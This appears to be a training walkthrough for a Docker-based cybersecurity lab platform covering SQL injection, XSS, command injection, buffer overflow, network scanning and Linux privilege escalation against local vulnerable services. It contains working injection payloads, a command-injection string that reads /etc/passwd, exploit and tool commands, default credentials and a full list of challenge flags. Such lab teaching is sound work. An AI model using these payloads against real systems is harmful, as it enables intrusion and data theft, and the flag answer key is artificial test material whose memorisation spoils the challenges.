CyberLab Walkthrough

Comprehensive Cybersecurity Learning Platform

CyberLab Educational Platform

January 12, 2026

Contents

Chapter 1

Introduction to CyberLab

1.1 Platform Overview

CyberLab is a comprehensive cybersecurity learning platform with 50+ labs covering web security, network analysis, and system exploitation using Docker-based vulnerable systems.

Service	**Port**	**Purpose**	**Difficulty**
DVWA	8081	Web vulnerabilities	Beginner
Juice Shop	8082	OWASP challenges	Intermediate
WebGoat	8083	Guided lessons	Beginner
MySQL	3307	SQL injection	Intermediate
Buffer Overflow	9999	Binary exploitation	Advanced

Table 1.1: CyberLab Services

Chapter 2

SQL Injection

2.1 Understanding SQL Injection

SQL Injection occurs when user input is incorporated into SQL queries without proper sanitization.

```
-- Authentication bypass
' OR '1'='1
admin'--

--␣UNION␣injection
' UNION SELECT username,password FROM users--
```

2.2 Lab Walkthrough

1. Navigate to http://localhost:8081
2. Login with admin:password
3. Set security to Low
4. Test: 1' UNION SELECT user,password FROM users–

FLAG: FLAG{sql_1nj3ct10n_m4st3r}

Chapter 3

Cross-Site Scripting (XSS)

3.1 Types of XSS

- **Reflected**: Script reflected off server
- **Stored**: Script permanently stored
- **DOM-Based**: Client-side vulnerability

```
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
```

FLAG: FLAG{xss_c00k13_th13f}

Chapter 4

Command Injection

4.1 Injection Operators

```
127.0.0.1; whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 && id
```

FLAG: FLAG{c0mm4nd_1nj3ct10n_pwn3d}

Chapter 5

Network Analysis

5.1 tcpdump and Wireshark

```
tcpdump -i eth0 -w capture.pcap
tcpdump -i eth0 host 192.168.1.1 port 80
```

5.2 Nmap Scanning

```
nmap -sC -sV target
nmap -p- target
nmap --script vuln target
```

FLAG: FLAG{n3tw0rk_f0r3ns1cs_pr0}

Chapter 6

Buffer Overflow

6.1 Understanding Memory

Buffer overflows occur when data exceeds allocated memory, potentially overwriting the return address.

```
from pwn import *
offset = 72
payload = b'A' * offset + p64(0x41414141)
```

FLAG: FLAG{buff3r_0v3rfl0w_m4st3r}

Chapter 7

Privilege Escalation

7.1 Linux PrivEsc

```
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
```

FLAG: FLAG{pr1v3sc_t0_r00t}

Chapter 8

Tools Reference

```
# sqlmap
sqlmap -u "URL?id=1" --dbs

# John the Ripper
john --wordlist=rockyou.txt hashes.txt

# Metasploit
msfconsole
use exploit/multi/handler
```

Appendix A

Flag List

Challenge	Flag	Points
SQL Injection	FLAG{sql_1nj3ct10n_m4st3r}	100
XSS	FLAG{xss_c00k13_th13f}	150
Command Injection	FLAG{c0mm4nd_1nj3ct10n_pwn3d}	150
Buffer Overflow	FLAG{buff3r_0v3rfl0w_m4st3r}	300
Network Forensics	FLAG{n3tw0rk_f0r3ns1cs_pr0}	200
Privilege Escalation	FLAG{pr1v3sc_t0_r00t}	250
MySQL	FLAG{mysql_pwn3d}	150
PostgreSQL	FLAG{p0stgr3s_pwn3d}	150

Appendix B

Quick Reference

```
# Docker
docker-compose up -d
docker-compose down
docker ps

# Services
DVWA: http://localhost:8081 (admin:password)
Juice Shop: http://localhost:8082
WebGoat: http://localhost:8083/WebGoat
MySQL: mysql -h 127.0.0.1 -P 3307 -u admin -padmin123
Redis: redis-cli -p 6380
BOF Server: nc localhost 9999
```